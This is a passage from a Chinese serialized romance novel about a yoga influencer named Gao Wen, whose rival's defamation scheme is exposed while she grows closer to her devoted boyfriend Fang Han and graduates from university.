“就是和她有关系，怎么没关系了？”姜舒妍紧咬着不放。 林思悦最后只能挂掉电话。 她一走到前台，大家都在好奇问：“雯雯老师的妈妈真的是小三啊？” 高雯的社交平台下，宋洁被提及的次数越来越多。 宋洁是小三，从小地方来到A市，就是为了傍上姜传文这棵大树，高雯现在是和宋洁捆绑在一起。 不少人还拿宋洁和高雯作对比。 尤其是宋洁年轻时长得不错，高雯和她有几分相似。 高雯在晚上七点正好有一节直播课，徐眉原本想取消，高雯却照常开直播。 因为这个事情，来八卦的人很多，直播间的人数猛涨到原来的两倍，不少人刷屏，还有不少黑粉一直在刷“小三”等侮辱性的词汇。 整个直播间乌烟瘴气。 高雯在直播开始前，面对粉丝的询问，唇边带着轻描淡写的浅笑道：“照姜舒妍这么说，我和她应该都是受害者。我爸死的时候，宋洁就拿着赔偿金卖了房离开，从那以后，我妈就死了，所以她的事统统与我无关。我一个人半工半读考大学，一直坚持了这么多年，都当自己是孤儿。人没必要一直揭伤疤，要往前看，我不是越活越好吗？希望姜舒妍也是。” “至于林珩，我再说一遍，那是你们的事情，请不要牵扯上我。每个人的时间都非常宝贵，下面我们就开始上课。” 比起姜舒妍的情绪崩溃，高雯在镜头前异常淡定，声音平静，用一两句话将自己的家境全盘托出。 热评点赞不断： 【高雯又有什么错呢？逼着她说出她爸死了，她妈卷钱卖房抛弃她，这么多年她一个人自己过。姜舒妍是真的有些过分。】 【那是宋洁的个人行为吧？姜舒妍归结到高雯身上？人家招她惹她了？】 【感觉姜舒妍在偷换概念，自己吃醋想要陷害高雯，曝光后又拿这些事卖可怜，我可从来没见高雯卖过可怜，人家都是勤奋上进靠实力。】 【比起高雯的从容淡定，我感觉姜舒妍在“撒泼打滚”，好反感啊。】 方寒在办公室里。 他反复看着高雯在镜头前，平静说着自己的身世，每一个字，都像砸在他心上，有些闷疼。 方寒想来清楚高雯骨子里的高傲和要强，她从来没有说过自己的身世，上一次，宋洁来找她，她眼底有些慌乱迷茫，后来，她就离开了。 这一次，当着所有人的面，去承认她拼命想要去遗忘的东西，是在她的伤口上撒盐。 方寒脸色越发冷淡，带着暴风雨前的宁静，他打开自己的电脑，丝毫没有犹豫将自己今天拿到的一段录像和聊天记录进行编辑和说明，等高雯一下课，他转手就发到了网上。 本来就热闹的网络，顿时激起千层浪。 姜舒妍看到热搜，点了进去，看到曝光的消息和记录，眼底一黑，脚都软了。 * 语禾瑜伽馆。 前台小姑娘要下班时，敲了敲高雯的教室门。 门打开后，前台小姑娘对高雯道：“雯雯老师，我先回去了。” “嗯，拜拜。”高雯笑着摆手。 前台小姑娘走后，高雯也没自我训练，而是在教室里发呆。 她看着镜子上的自己。 从小，大家都说她长得像宋洁，性子也像。以至于高雯现在只要听到别人把她和宋洁扯到一起，都会没由来有一种恶心感。 宋洁今天说的话，一直在高雯耳边回荡：“我知道你是存心勾引林珩，我还不清楚你的心思吗？”、“你以为这样就能攀上枝头？你就做梦吧！”、“我从小就知道你不是好东西，谁能看上你？！” 今天下午挂掉电话后，宋洁的消息还在轰炸，无非就是让高雯赶紧跟姜舒妍道歉，态度还极其强硬。 高雯看着这些消息，眼底厌恶。 她把手机关机了，想要一个人静静待会。 高雯也不知道自己待了多久，等到教室门在一起响起敲门声，她收敛思绪：“谁？” 门被推开，方寒站在门外，他的手上还拿着一束鲜花，温声问：“下课了吗？” “早就下课了。”高雯站起身，扯了扯嘴角，带着笑意走到他面前，昂头看着他，“给我买花做什么？” “想给你买就买了，”方寒把花给高雯，伸手去牵她的手，十指相扣，“你今天是不是没吃饭？” 高雯垂眸，点了点头：“我不饿。” “不饿也得吃点，”方寒拉着她，“我熬了汤才来接你的，我们回去了？” “嗯。”高雯去换了衣服，拿着包往外走。 方寒牵着高雯的手，她另一只手去挽着他，想到今天胡虹说的事情，她话语调侃看向他道：“原来你比我想象的还要有钱啊，方大少爷。” 方寒很无奈，他今天已经被不少人调侃了，他侧头垂眸跟她解释：“我没想骗你什么，也没想隐瞒什么。” “我知道。”高雯点头，她靠近方寒，“我这算误打误撞找了个有钱人？” 当时实习的时候，大家都说林珩是本地人，家里有四合院，按照林思悦所说，林家没有四合院，是林母的堂哥家有一套，他们家只有郊区的大别墅，和四合院自然不能比。 反倒是方寒，家里是真真切切有四合院，对了，还有不少房子。 高雯没想过这些，她和方寒在出租屋的时候，就觉得和这个人在一起很安心，她现在也能赚点钱，日子就这么平平淡淡过。 现在这些，加上宋洁这件事，对她而言，方寒家境成了压力。 方寒把高雯的手牵得更紧：“我妈夸张了，我们之间不是因为这个，况且，你以后会赚很多的钱。” 高雯用力点头：“这倒也是，我对我自己还蛮有信心。” 方寒：“就算没有，也没关系，我会努力。” 两人回到方寒的合租屋。 他给高雯盛了汤，还蒸了她喜欢吃的玉米虾饺。 “哪来的？”高雯吃了一个，一口满足。 “我爸下午包了一些，他送过来的。”方寒说。 高雯听到是方宏铭包的，吃东西的动作变慢，她又吃了一个，没有多问。 胡虹说她现在是她网上的所谓铁粉，今天的事情，胡虹应该是知道了。 高雯一直没打开微信，胡虹肯定会问她，而她不知道如何解释和回复。 吃完饭后，高雯没待在客厅，她去了方寒的房间。 方寒新买了个懒人沙发，她特别喜欢窝在上面。 高雯做了很久的思想建设，才把微信打开，胡虹果然给她发了消息。 她心情有些紧张，没等她打开胡虹的语音消息，就先收到了银行提示的转账。 看到一串数字后的好几个零，高雯倏然一怔，连忙点开胡虹的语音：“雯雯啊，妈妈看到网上的消息了，好过分啊，你不要放在心上，不用理会。” “妈妈给你转了点钱，去买点好看的衣服，买点好吃的，心情要好一点。” “你是个好孩子，我知道的，真是太可怜了，方寒要是对你不好，我不会饶过他！” 高雯想过胡虹会问她一些问题，但她没想到胡虹完全站在她这边，连问事情的经过都没有，语气里都是对她的偏袒和心疼。 一时间，高雯眼眶发胀发酸，她深吸了好几口气，才压下来。 居然升起一点点委屈了。 门外传来动静，高雯往后靠，整个人窝在沙发里。 方寒开门走进来，高雯看着他，一脸为难道：“你妈给我转钱了，还转了一百万，让我不要见外，不能给她转回去。” 高雯都没好意思告诉方寒，胡虹自称妈妈。 一出手就是一百万，高雯以为看错了。 方寒抬头扶额：“她今天给我打电话了。” “说了什么？”高雯问。 “也没什么。”方寒没多说，他怎么可能告诉高雯，胡虹批评了他一个小时，全程都带着挑剔，说他不会谈恋爱，小心没女朋友。 她抬头看方寒：“你妈转的钱，要怎么办？” 那么多钱，她不好处理啊。 “你留着吧，不用太在意，”方寒说着，从柜子里拿出一个盒子，里面是一些房产证和银行卡，还有各种合同，他拉过椅子，坐在高雯身边。 “你干嘛呢？”高雯见方寒这阵势，情不自禁坐直身子， 方寒把其中两张银行卡拿出来，他拿了其中一张给高雯：“这里面有一些定期存款，我忘记是多少了，”他说着又给高雯另外一张，“这个卡是收租金用的，管家会把钱打到这张卡上。” “管家？”高雯挑眉。 “嗯。”方寒解释，他没有太多事情处理这些事情，房子和铺面分布也没在一起，“管家”会负责收租、看房、出租、等一系列问题。 “管家——”高雯正在接受超乎她对方寒认知的事情，她再次瞅了瞅方寒，“好吧。” “剩下的一些钱，我在理财账户有一些，股票账户也有，用于投资。这部分主要是我的工资和兼职的外快，”方寒说着把手机拿出来，要打开账户。 “你不用给我看，我又不查账。”高雯连忙伸手阻止。 方寒覆上高雯的手，将她的手攥在手心里，深邃温柔的视线望着她：“从我们在一起开始，我们就是一体的，有些事我也要跟你交代。” “那两张银行卡的密码，我已经改成了你的生日。” 高雯再一次诧异，她看着自己手上的银行卡：“不用吧？” 他们刚刚恋爱没多久，怎么感觉进度一下拉快。 不是说夫妻才是一体的吗？ “在我看来我需要这么做。我们之间如果相处方式让你觉得不太舒服，你要跟我说，我也是第一次当别人的男朋友，想做到最好。”方寒摸着高雯的手，眸光里带着和软温情。 “你很好，是非常好的男朋友。”高雯说。 “谢谢你的肯定，我会继续努力。”方寒嘴角荡开笑意，他翻着盒子，里面除了一些房产证，还有一些银行卡和大额定期，还有一些保险理财，他笑得很无奈，“这些都是我爷爷和外公给我留下的，有一些还是要等我退休才能领，说是哪怕通货膨胀了，也能每个月请我吃颗糖。” 如胡虹所说，这都是当初四个老人给方寒留下的，而且胡虹完全没夸张，是方寒太过于低调和心宽。 他自己都不清楚有多少，哪怕现在，他也没刻意算。 高雯看着一份份理财保险，深刻能感受到四位老人对方寒的爱意。 无关金钱，她只是很羡慕他从小生活在这样的环境里，所以才长成这么好的人。 * 高雯离开合租屋时。 她包里多了两张银行卡。 那是方寒给她的，他说这张是主要的收入来源和大额定期，应该给她。 至于原因，是因为他们家的习俗就是这样，胡虹也会管着家里的钱。 高雯总觉得哪里不对，他们的关系还没到那一步吧？ 可在方寒看来，的确如此。 方寒牵着高雯的手，和她一起慢慢往她租住的房子走：“等找到合适的房子，我们就买下来，装成你喜欢的样子，有大大的落地窗，还有书房和健身房，给你做个衣帽间，最好有个露台能种花。” 闻言，高雯突然想起，她一开始和方寒说这些的目的，她是想吓退他来着。 高雯是万万没想到，方寒没反应的原因，是因为他觉得不是什么大问题，小丑居然是她自己。 “你就不怕我卷走你的钱啊？”高雯忍不住问。 可不是一笔小数目。 “你为什么要卷走我的钱？”方寒轻声接话，望着她的目光温柔，“我的不就是你的吗？” 高雯突然有些恋爱中小女人的傲娇：“我把你的钱都卷走了，就是我一个人的，不是你的。” 方寒停住脚步，帮她把羽绒服的帽子戴好，“那就是你的。” 他说得一点都不像在开玩笑，高雯都笑了。 方寒伸手把高雯搂在怀里，下巴抵着她头顶，话语十分怜爱：“你要开心一点。有什么事情就及时跟我说，我永远会站在你这边，无条件支持你陪着你。” “你很好很棒很优秀，你已经做到最好了，未来也会越来越好。” 高雯刚刚还因为胡虹的话，有些情绪波动，听到方寒说的话，他肯定也知道了网上的事情，她在他怀里抬起头，眼眶有一瞬间湿润。 她吸了吸气，比刚刚更委屈了呢。 方寒将她抱得更紧，微微低下头，两人鼻尖相抵，呼吸交错，他的唇瓣轻轻覆上她的红唇，温柔辗转。 高雯红着脸回到家，洗完澡还和方寒打视频腻歪好一会。 直接把网上的事情抛在脑后了。 睡前。 高雯象征性刷了刷社交平台，她以为最好的结果是“平手”，没想到舆论直接一边倒。 看到最新爆出来的消息，高雯都蒙了。 还有这反转？ 林思悦发给高雯都语音都带着哭腔：“雯雯姐，对不起，我不知道姜舒妍和上次造谣你的事情有关联，她让我担保的钱，不就是拿去填之前的坑了吗？” “我感觉我也帮她做了错事，我应该及时告诉我哥的，这件事就不会闹成这个样子。” 热搜上曝光的录像和录音，听网友的分析，梵盈那个馆长买黑粉造谣的背后，是姜舒妍出的钱。出了事，姜舒妍怕牵连到自己，又花了一大笔钱让对方全盘认下。 结果那个馆长的丈夫，把钱拿去赌光了，继续逼姜舒妍拿钱，两人争吵的语音曝光。 据说姜舒妍前前后后给了两千万，其中有不少借款。 徐眉则已经联系律师，必须让姜舒妍也承担责任。 高雯无语到想笑。 两千万？她这么值钱吗？ 高雯刚这么想，就看到包里那两张银行卡，眼睛顿时弯了弯。 好像，的确值钱，至少方寒这么认为。 第70章 第70章 姜舒妍最后是被骂到退网。她…… 姜舒妍最后是被骂到退网。 她针对高雯, 是在更早之前，铁证如山。这一次的网暴来得更为猛烈。 最后的结果是姜舒妍的社交账户一个个被扒出来，连夜注销所有的社交账户。 她这小半年来所有的不对劲, 资金紧张, 这下都真相大白了。 姜舒妍又在家里上演要死要活那一套，人都站在了天台, 企图用这一招逃避责任。 她给林珩打电话，那边声色冷淡：“你的命在你的手里，不在任何人手里, 你的事情，以后也和我没关系。” 话音未落, 林珩就已经挂掉了电话。 别说林家，就连对姜舒妍有那么几分怜惜的林母, 经过这件事, 都彻底寒了心, 彻底和姜家断了往来。 至于姜家更是被人扒出来不少灰暗事，姜传文本就靠着姜家堂兄这棵大树, 包揽点工程混口饭吃, 现在被网友扒出来，对方在藏龙卧虎的A市, 不过芝麻小官, 网上闹得这么大，为了自保，直接把姜传文踢出局。 这相当于在圈内“封杀”。 姜传文气晕了一回, 气冲冲来到姜舒妍的住所，破口大骂之后放狠话：“从明天开始，从这里滚出去！你爱上哪上哪, 就当我没你这个女儿！” 姜舒妍都还没思考以后要怎么办，就被警方带走了。 上一次的事情还没了结，徐眉那边花了大价钱请律师，紧咬着不放，哪怕只是一个月的拘留，那也得让姜舒妍付出一定代价。 姜舒妍心如死灰，在警局的时候精神都有些错乱，嘴里一直念叨：“不是这样不是这样的，没了，什么都没了。” “搞砸了。” 这件事好似就此平息，高雯恢复了以往繁忙的上课时间，依旧每天直播。 她的粉丝突破了五百万，粉丝活跃度很高。 具体表现在，高雯直播间的在线人数都是10万+，只要她穿的瑜伽服，第二天准能卖断货，无数广告商都想让她代言，因为必火。 胡虹来语禾瑜伽馆更勤快了。 以前只是一天来一趟，现在一趟恨不得来两三趟，有时候和她老姐妹逛街，看到什么好吃好玩的，都会买了给高雯送过来。 她不仅会给高雯送吃的，瑜伽馆人人有份，只是更偏爱高雯一些罢了。 语禾瑜伽馆要是有什么新的活动，胡虹还会在朋友圈大力宣传，通常都要加上一句：【请支持我们家雯雯，雯雯最棒！】 以至于，方寒还没把高雯带回家，圈子里大家都知道方寒的女朋友叫高雯，是个网红瑜伽老师，长得很漂亮。 胡虹仿佛把语禾瑜伽馆当成自家生意，不仅拉客源，来的时候可一点都不生疏，偶尔还会帮忙收拾教具，打扫卫生，给其他会员端茶送水。 徐眉看到的时候，都忍不住对张妮道：“我需要给胡阿姨发工资吗？怪不好意思的。” 张妮笑得不行。 高雯下课出来时，胡虹已经离开了，张妮把胡虹带来的燕窝粥给高雯，顺便道：“瞧瞧胡阿姨对你上心的劲头，现在所有人都知道你是她未来儿媳妇，再也没有会员跟我打探你的消息了，肯定不会有人想要给你介绍对象了。” 高雯吃着燕窝粥，有些失笑：“挺好，省了麻烦。” “是省了麻烦，你和方工不结婚，可是很难收场的。”张妮笑着说。 高雯小口吃着燕窝，眼底思考。 她都还没毕业，结婚，是个很遥远的词，也很陌生。 方寒都不用从亲戚朋友口中了解胡虹的举动，他回一趟家，家里的鹦鹉都改 口了。 鹦鹉看到方寒回来，走了进来，声线尖锐道： “雯雯，儿媳妇——我的好儿媳妇——” “我要去找雯雯，支持雯雯。” “好、儿、媳、妇。” “支持我家雯雯。” 方寒看着胡虹的朋友圈发言，揉了揉眉头对胡虹道：“妈，您别打扰她工作。” 胡虹是恨不得一天发一条朋友圈宣传，要不是高雯有几百万粉丝，不知道的还以为是微商传销。 “我怎么打扰她工作了？我前两天还把你张婶和李姨带过去上课，两个人都报了雯雯的课，花了好几万呢！”胡虹很自豪，“你给她招来生意了吗？为她的事业添砖加瓦了吗？” 方寒：“” “你没有。”胡虹冷哼，“我对她的支持，都是实打实的，真金白银！” 方寒沉默。 “我还天天给雯雯送水果，送燕窝鸡汤，还有减脂餐养生水，她很欢迎我。”胡虹说完还笑眯眯，“她们很欢迎我，雯雯也欢迎我，我今天给她发消息，我说妈妈给你带了苹果山药水，她立刻就从二楼下来了，还笑了，很开心！” “？？？”方寒满头黑线，“妈妈？” “我就是她妈妈！”胡虹把方寒推开，“你懂什么？闭嘴吧，笨蛋！” 胡虹刚说完，小鹦鹉立刻接话：“笨蛋，笨蛋方寒，没有媳妇儿！” “他有媳妇了，”胡虹眯眼，弯腰警告鹦鹉，“但他还是个笨蛋！” “笨蛋方寒，”小鹦鹉摇晃着脑袋，“有媳妇儿，有媳妇儿——” 方寒全然阻挡不了胡虹的热情，他走出门，街坊四邻都会问他什么时候结婚。 这话，他哪敢告诉高雯，生怕把她吓跑。 * 次月。 高雯又在视频号上发了两个自编的内观流瑜伽视频，节奏感依旧很强，相对于之前的视频，难度大大降低，非常适合新手打卡用。 新人粉丝直呼，还是高雯懂她们，必须练起来！ 这两个视频流量两天内就冲到了百万，网上出现一堆跟风视频。 就在高雯流量最火的时候，姜舒妍的那件事也有了后续。 姜舒妍这件事在之前就造成不少的公共影响，这一次更是爆出梵盈馆长夫妻对她进行多达两千万的敲诈勒索，单单这一点，这对夫妻少不了十年以上的牢狱之灾，参与的公司也因违规违法和偷税漏税，正在被进一步调查，估计也得关押几个，再面临巨额罚款。 至于姜舒妍，她作为背后策划者，接二连三利用此事诽谤造谣，其点击转发甚至超过百万，涉及寻衅滋事，已经不仅仅是普通案件，严重危害社会秩序和国家利益，加上她为了个人利益，售卖三无化妆品和多种不合规的产品，导致多名受害者脸皮出现不同程度的伤害，该案件由自诉案件，转为公诉案件，由公安机关主动介入调查。 徐眉一开始提出要姜舒妍向高雯公开道歉时，姜舒妍还宁死不从，后来事件发酵得厉害，加上她即将面临实刑，如果拒绝配合，估计会被判得更重，她脸色煞白，没了抗争的力气。 姜舒妍在和高雯道歉的当天，另一件事比这件事更快冲上热搜。 一位ID为“杳杳妈妈在努力”的博主发了一个视频@了高雯，说是自己的女儿心脏手术非常成功，感谢高雯的捐款，她拉着自己的女儿，面对镜头跪了下来，说是高雯给了孩子一条新生命。 网友察觉到什么，快速评论，热度骤然升起。 而视频突然没了。 不少手快的网友已经把视频保存下来，并且开始转发疯狂讨论，还到“杳杳妈妈在努力”的视频号下不断评论，有人还怀疑高雯是不是在炒作。 面对这条评论，“杳杳妈妈在努力”在下面解释：“不是的，是她私信我，不要在网上发这样的视频，担心对孩子身心造成影响，让我们好好生活。” “杳杳妈妈在努力”担心给高雯造成不好的影响，截图了一部分私信，高雯还给她们转了一万块当营养费，让她好好照顾孩子。 她最近的一条视频，发了女儿杳杳恢复不错照片，配文道：“她是个很好的人。大恩无以为报，祝她一生顺遂。” 网友将这位博主过往的视频进行考古，发现对方是一个命运多舛的人，幼年丧母，还没成年就丧父，进厂打工遇到了同样贫困家庭的年轻小伙，组成一个小家，好不容易迎来幸福生活，丈夫意外去世。 她独自一人生下女儿，而后又发现女儿患有先天性心脏病，需要巨额医疗费，她没有放弃女儿，而是一边送外卖一边攒医疗费，磕磕绊绊学着做自媒体，豁出一切想要给女儿博得一线生机。 可以说，这是一位伟大的母亲。 “杳杳妈妈在努力”的账号，在前几个月发布过一条在街边哭得很惨的视频，她颤抖着说，“杳杳有救了，她遇到了好心人，她有救了。” 那个时候，下面只有几条评论说恭喜。 如今看来，当时应该是高雯捐款了。 热搜挂着姜舒妍的道歉和高雯捐款两条热搜。 林珩一一点进去看。 网友评论道： 【这段时间，高雯遭受了不少质疑诽谤，她都没想过拿这件事做文章，她的帮助是发自内心的，的确是个很好的人。】 【就连对方的感谢，高雯都怕给孩子造成影响，可以说是一个细腻柔软的人了。】 【路人转粉，路人转粉！现在就下单跟着她锻炼起来。】 【我早就是铁粉了，天天磕她和方寒，据说方寒学长也是一位很温柔的人！！！我恨这两人为什么不是明星，啊啊啊——】 林珩看着这些评论，高雯的确是一个热心温暖的人，可惜他没有早早发现。 他再一次点进去姜舒妍道歉的视频，蹙着眉头听完，直接关掉了。 * 论文答辩前夕。 高雯和方寒回学校，他牵着她的手。 这一次回去，都成风云人物了，不少学弟学妹看到两人，都在窃窃私语。 高雯在网上那么火，因为“杳杳妈妈在努力”这件事，粉丝又往上冲了两百万，加上零零散散的涨粉，都已经突破了一千万。 高雯自己对一千万粉丝都没什么概念。 直到她发现论文导师都认识她了。 准确来说，不是因为高雯在网上有一千万粉丝而认识她，而是因为论文导师正好是方寒的师母。 高雯拿着论文，和导师前后往楼上走，导师笑道：“我以前给他介绍过几个女生，他问都不问，就找借口拒绝了。上一次，我还想给他介绍我家那个侄女，他说不想谈恋爱，他老师还担心他娶不到老婆，孤寡终身。” “看来是没有遇到对的人。” 高雯神色讪讪，都知道怎么回。 她来之前，是怕被导师骂论文没改好，来了之后，万万没想到，对方跟她聊这些事。 “我那个侄女，眼光也是高得很，兜兜转转一圈，就只看上方寒，明里暗里，让我再牵牵线，实在不行，就给她联系方式，她自己去努力，结果——”导师笑出声，“她在网上看到你，说是比不过，不想去自取其辱了。” “老师，您说得我都不好意思了。”高雯真红了脸，眼神不太自然。 “真话，不用谦虚。”导师笑。 不知道是不是因为这一场谈话，高雯感觉导师在会上对她和颜悦色很多，指出问题的时候，态度非常温和。 高雯倒是不怕被骂，这倒是让她有些害羞起来了。 论文会开完后，高雯走下楼，方寒已经在门口等她。 看到高雯的论文导师，方寒礼貌打招呼：“师母。” “赵教授白担心你了，这不是找了个很好的女朋友吗？”导师笑着说。 方寒走过去牵着高雯的手，“让师母费心了。” “没事没事，比起其他同学，她很努力用心，挨的骂最少。”导师说完对高雯道，“你的论文还可以再改改，我看要不努力争取评个优秀论文吧？” 高雯：“我可以吗？” “当然，只不过要抓紧时间，再费点心思，有什么问题，及时找我就好。” “谢谢老师。” “我有事就先走了。” 导师离开后，高雯看向方寒，“我这算开后门吗？” “不算吧？应该是你自己的努力，师母虽然有些严厉，但也是很好的人。”方寒说。 高雯懊悔：“我应该早点把你搬出来，这样是不是我就不用挨那么多骂了？” “我其实也就在导师家里见过她几次，并不知道她叫什么名，”方寒叹气，“不然我看名字就知道了。” 他平时就负责做实验，哪知道导师的老婆叫什么，在哪个学院都不知道。 方寒在想，如果他知道的话，估计是会厚着脸皮找导师，让他搭线，让师母对高雯多多包容。 * 五月底。 《AI瑜伽教练》APP正式上线，反响特别好。仅用了24小时，下载用户突破六十万，这里面有高雯带来的效应，也有这个APP得到了不少人的认可。 应用商城评论达到4.9星，用户反馈很好，在行业内，稳稳领先。 这不仅对于高雯来说，是个好消息，对于顾书杰这个创业公司来说，也是一个大好消息。 为此，顾书杰还准备举办庆功宴，好好做个宣传。 作为特聘顾问，高雯自然收到邀请，而且，以她现在的影响力和身价，顾书杰当初和她签合同的时候，那是占了大便宜，还能利用她在网上的影响力，APP的数据是节节高升，一片大好。 庆功宴被安排在某个五星酒店的一楼举行，张妮本身就是做策划的，非常用心安排一番。 张妮本来要去接高雯，却被告知方寒会和她一起去。 “方工连我都不放心啊？”张妮调侃，“我看啊，他今天是要黏在你身边了，不然这宴会上想要和你搭上话的人可不少。” “没那么夸张。”高雯无奈。 “那就等着看咯。” 事实证明，张妮还真说对了。 从下车开始，方寒就牵着高雯的手，把她带到自己身边。 身为总负责人，年纪轻轻，在行业内专业精湛，方寒也少不了被人搭话，对他来说，这不是最主要的，他和高雯就是得影形不离。 一些上前要给高雯敬酒的富二代和小老板，都被方寒挡住了。 “你会喝酒吗？”高雯有些担忧方寒。 虽然只是红酒，但她没见过方寒喝酒。 至于她，的确不会。 “还好，会一点。”方寒说。 高雯乖顺待在方寒身边，她也很烦这些应酬场合，不似张妮和顾书杰，这对夫妻可谓是游刃有余，一杯接着一杯。 方寒也有自己的客户，他多少得意思意思喝点，本来酒量还行，因为替高雯挡酒，就得喝双倍了。 高雯担心他的身体，两人没等宴会结束，和张妮打了声招呼，就回去了。 上车后，方寒闭着眼，安静坐着，往后靠。 高雯观察了下他，凑过去轻轻问：“你醉了吗？” 方寒没说话，只是轻轻摇头。 “没有吗？”高雯看着他通红的脸，忍不住伸手，戳了戳他的脸颊。 方寒没睁眼，抬手抓住她的手指，把她往自己怀里带。 “你身上好热啊。”高雯躺在他怀里，伸手抱住他，昂头又道，“方寒，你醉了吗？” 方寒再一次摇头。 将她搂紧。 高雯继续趴在方寒身上，听着他强劲有力的心跳声，她轻声对他道：“不许醉哦，我一个人扶不动你。” “嗯。” 车子停在小区楼下。 高雯起身，看到一动不动的方寒，内心紧张起来，她凑过去道：“到你家啦，你不会醉了吧？” 方寒睁开眼，手还圈着高雯的腰。 “下车了。”高雯松了一口气。 高雯走下车，方寒慢了一拍，跟在她身后下车。 她见他走路很稳，伸手去拉他：“我还以为你醉了呢。” 方寒没回话，高雯拉着他走了两步，发现他同手同脚，心里顿时感觉到不对劲。 进入电梯时，她盯着方寒看。 方寒也看着高雯，深邃明亮的黑眸倒影着她的身影，目光柔和，看着非常乖。 高雯慢慢松开拉着方寒的手。 她刚松开，方寒就蹙眉，伸手又拉回来，与她十指相扣，还要把她往怀里揽。 “你醉了吧？”高雯无奈失笑。 方寒摇头。 “你就是醉了！”高雯盯着他看，她忍不住抬手，揉了揉他的脸，“你醉啦。” 方寒思考了下，看着她那张白皙娇嫩的脸，慢吞吞点头：“好！” “好什么好？”高雯笑开，是她说什么他都答应的意思吗？ 方寒：“嗯。” “呆子。”高雯笑得不行，电梯里没人，她也抱住他，在他怀里仰头，看着他红彤彤的脸，“方寒，你真的醉了，呆萌呆萌的。” 电梯门打开，外面有人进来了。 高雯收敛起神色，和方寒站在一边，他醉了，所以她紧紧牵着她，拉到自己身边。 方寒非常听话跟过去。 两人穿着正装，行为举止又颇为怪异，电梯内的老头还多瞅了好几眼，把高雯都看害羞了。 方寒一把将她搂在自己怀里，占有欲十足，一副保护的姿态。 这个动作，把高雯都吓了一跳，换平时，方寒绝对不会这么霸道。 电梯门一打开，高雯就拉着方寒出去了。 两人站在门前，高雯问方寒：“钥匙呢？” 方寒也看了看自己。 “钥匙。”高雯又说了一声，见跟他说不明白，上前掏了。 方寒乖乖站着，还要把下巴抵在高雯头顶，眸光温柔。 高雯拿到钥匙后，看到他这样，想笑又无奈。 进门口，从客厅往房间走。 房门一关，高雯看着站在门口的方寒，头疼极了。 “过来。”高雯坐在懒人沙发上，冲他招手。 方寒走过去。 “弯腰。”高雯又说。 方寒弯下腰。 “你醉了，知道吗？”高雯伸出手，捧着方寒脸颊，“你现在要去洗澡，然后睡觉。” 方寒没接话，一直看她，神色带着爱意。 高雯被看得心都软了，她站起身来，“我去给你拿衣服，你快点去洗澡。”她说着，指了指浴室。 方寒往浴室走了两步，又回头看她。 高雯打开衣柜，方寒的衣服收拾得整整齐齐又干净规整，和他这个人一样。 她红着脸，拿了睡衣和内裤，走过去放在浴室架子上，对方寒道：“你能自己洗澡吧？等你洗好睡觉，我就回去了。” 方寒拉上高雯的手，想和她一起。 “你不要脸啊？”高雯脸色爆红，把方寒推到浴室，警告他道，“赶紧洗澡！我在外面等你！” “嗯。”方寒听话点头。 高雯耳朵泛红，把浴室的门关住。 期间，她怕方寒出事，还在外面站了一会，听到里面的水声，才放下心。 应该没醉太严重吧？ 没吐没晕的，就是有点呆呆，好像做事慢半拍。 高雯在外面等了一会，水声停了，但方寒没出来。 她起身，往浴室走。 高雯趴着听了会，还是没动静，她不由有些着急：“方寒，方——” 最后那一声，还没说完，浴室门就打开了。 方寒穿着睡衣，头发上的水滴往下落，脸色微红，眸光水润望着她。 高雯霎那间，心如擂鼓，她没想到自己也有贪色的一面，直勾勾看着方寒，好一会才道：“那个，你头发要擦干，不然一会着凉了。” 方寒点头，却没立刻行动。 高雯叹气，她把干毛巾拿出来，将方寒拉到一旁坐下，用毛巾给他擦头发。 方寒乖乖坐着，偶尔抬头看她。 “看什么呀？你醉了，整个人傻傻的，”高雯强调，她把毛巾放在一边，用双手把他的头发揉了揉。 不得不说，方寒的发质很好，很顺软滑。 高雯没忍住，多揉了两下。 这种待遇，放在平时可没有。 想着，她又揉了好几下，把方寒的头发揉成鸡窝头。 高雯还很过分给方寒拍了照片，发给他，一想到他明天早起会看到，就忍不住笑。 她一笑，方寒就身后把她拉过来，坐在他腿上，用手圈着，姿势亲昵。 “我给你吹头发。”高雯倾身，要把吹风机插上。 方寒没让，把她的手拉回来。 “别闹。”高雯笑着挣脱。 方寒就是没放手，整个人还凑过去，在她唇上亲了两下，特别温柔。 高雯心塌陷了一块，她待在方寒怀里，手上拿着吹风机，让他低头，纤细的手指在他的发间穿梭。 她给方寒吹好头发后，看着他，双手捧起他的脸，主动凑上去，亲了他的薄唇：“乖乖的啊。” 方寒挑着眼尾笑了，特别听话点头，“嗯。”—— 作者有话说：还剩最后一章收尾正文。 暂定十二点更新吧。 亲爱的可以明天早上再看哦。提前说晚安。 第71章 正文完 第71章 正文完 正文完结，继续更番…… 六月初。 高雯的论文答辩通过了, 她的论文还被评为优秀论文。 比起前一世，她毕业艰难，这一次无比顺利, 再一次验证了“剧情”不能掌控她的人生, 她正在凭借自己的努力，创造更美好的生活。 七月初, 学校举行毕业典礼。 各地实习的同学们，都欢聚在一起。 方寒陪高雯一起回校，他还给她买了一束花, 祝贺她顺利毕业。 高雯的几名室友也都回来了，大家虽然不是知心闺蜜, 但在这几年的相处中非常融洽，几人都打算留个合影纪念。 方寒充当摄影师。 他的拍摄技术已经进修得非常好, 指导到位, 几个小姑娘很满意。 拍摄期间, 陈雅馨还对高雯说：“换以前，我肯定会八卦你怎么拿下方寒学长的, 那是方寒学长诶, 多少学姐学妹都拿不下，现在我只好奇, 方寒学长是怎么拿下你的！” 大学四年, 她们把高雯的努力看在眼里，也非常清楚，这个人以后一定会有所成就, 但没想到这么快。 短短一年时间，高雯就是千万级网红了。 人比人，真的气死人。 “他对我好啊。”高雯笑着说。 “哎呀, 男人的好，真不能当饭吃，”张乐佳悄咪咪说完，补充道，“但方寒学长可以，谁让他长得又帅又优秀呢？不亏不亏！” “姐们，你吃得真好！”陈雅馨说。 高雯：“？？？” 陈雅馨见高雯如此，哈哈大笑，走到方寒身边：“学长，你别光顾着给我们拍，我们也帮你和高雯拍几张，留个纪念。” “谢谢。”方寒把相机给陈雅馨，走到高雯身边。 “三二一，亲一个！”陈雅馨扬声说。 高雯和方寒两人都红了脸，面露羞涩。 亲是没亲，画面定格在方寒伸手搂住高雯的腰，她身子微微往他那边靠，两个人的脸上都带着幸福甜蜜的笑容。 * 参加完毕业典礼后，很多同学都去毕业旅行了。 方寒提出想带高雯去毕业旅行。 游玩不是重点，主要是这段时间两人都很忙，就连约会，都成了奢侈。 尤其是高雯都连续忙了几个月，他想让她休息放松几天。 “好，不过我没时间做攻略哦，我得提前把一些事情处理了。”高雯有些歉意说。 方寒：“我来处理，你忙你的。” “你真好。”高雯眉眼弯弯，声线软糯。 